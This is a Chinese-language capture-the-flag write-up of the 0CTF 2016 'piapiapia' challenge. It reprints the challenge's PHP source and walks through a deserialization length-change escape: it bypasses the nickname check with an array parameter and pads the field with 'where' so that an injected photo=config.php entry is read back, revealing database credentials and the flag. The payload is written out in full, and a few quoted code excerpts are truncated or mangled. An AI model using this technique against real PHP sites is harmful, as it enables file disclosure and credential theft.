php反序列化長度變化尾部字串逃逸(0CTF-2016-piapiapia)
阿新 • • 發佈：2020-02-17
一個很可愛的登入介面：
進行一下目錄掃描，發現原始碼洩露www.zip，把原始碼給出：
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username,$password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>在輸入賬號密碼之後進入了profile.php，下面是profile.php的原始碼：
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>還有註冊頁面的原始碼(沒有太大用)，register.php：
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username,$password);
echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
然後是update.php：
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/',$_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/',$_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/',$_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'],'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username,serialize($profile));
echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
核心的處理程式碼，class.php：
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table,$where);
}
public function register($username,$password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username','password');
$value_list = Array($username,md5($password));
return parent::insert($this->table,$key_list,$value_list);
}
public function login($username,$password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table,$where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table,$where);
return $object->profile;
}
public function update_profile($username,$new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table,'profile',$new_profile,$where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],$config['username'],$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table,$where,$ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql,$this->link);
return mysql_fetch_object($result);
}
public function insert($table,$value_list) {
$key = implode(',',$key_list);
$value = '\'' . implode('\',\'',$value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table,$key,$value,$where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'','\\\\');
$escape = '/' . implode('|',$escape) . '/';
$string = preg_replace($escape,'_',$string);
$safe = array('select','insert','update','delete','where');
$safe = '/' . implode('|',$safe) . '/i';
return preg_replace($safe,'hacker',$string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
最後是config.php：
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
看來flag就是在config.php中了，要想辦法拿到config.php的內容了。
然後就是程式碼審計了。
seay程式碼審計系統也可以給點線索的：
這個地方貌似有個檔案讀取的地方，在profile.php中：
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
上面還有個反序列化unserialize，感覺有戲，如果$profile[‘photo']是config.php就可以讀取到了，可以對photo進行操作的地方在update.php，有phone、email、nickname和photo這幾個。
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));
結果如下：
Array ( [phone] => 12345678901 [email] => [email protected] [nickname] => sea_sand [photo] => config.php )
可以看到反序列化之後，最後面upload這一部分就沒了，下面就是想辦法把config.php塞進去了。
從陣列順序上看是和上面陣列的順序一樣的，可以抓個包看下post順序，那麼最有可能的就是從nickname下手了。
在設定了$profile之後，用update_profile()函式進行處理：
public function update_profile($username,$where); }
進行了過濾：
public function filter($string) {
$escape = array('\'',$string);
}
有兩個正則過濾，帶上輸入nickname時候有一個正則，總共三個過濾的地方，首先要繞過第一個輸入時候的正則：
if(preg_match('/[^a-zA-Z0-9_]/',$_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
陣列即可繞過：
nickname[]=
那麼$profile就是這樣了：
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
後面的正則要怎麼利用呢，可以看到如果我們輸入的有where，會替換成hacker，這樣的話長度就變了，序列化後的每個變數都是有長度的，那麼反序列化會怎麼處理呢？我們應該怎麼構造呢？
陣列繞過了第一個正則過濾之後，如果nickname最後面塞上";}s:5:“photo”;s:10:“config.php”;}，一共是34個字元，如果利用正則替換34個where，不就可以把這34個給擠出去，後面的upload因為序列化串被我們閉合了也就沒用了：
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
在where被正則匹配換成hacker之後，正好滿足長度，然後後面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了，被反序列化的時候就會被當成photo，就可以讀取到config.php的內容了。
下面開始操作：註冊之後登陸，進入到update.php頁面，輸入資訊及上傳圖片，用bp抓包把nickname改成陣列即可： 
然後進入到profile中檢視圖片資訊，把base64碼解碼：
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解碼得到：
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>
總結
以上所述是小編給大家介紹的php反序列化長度變化尾部字串逃逸(0CTF-2016-piapiapia)，希望對大家有所幫助！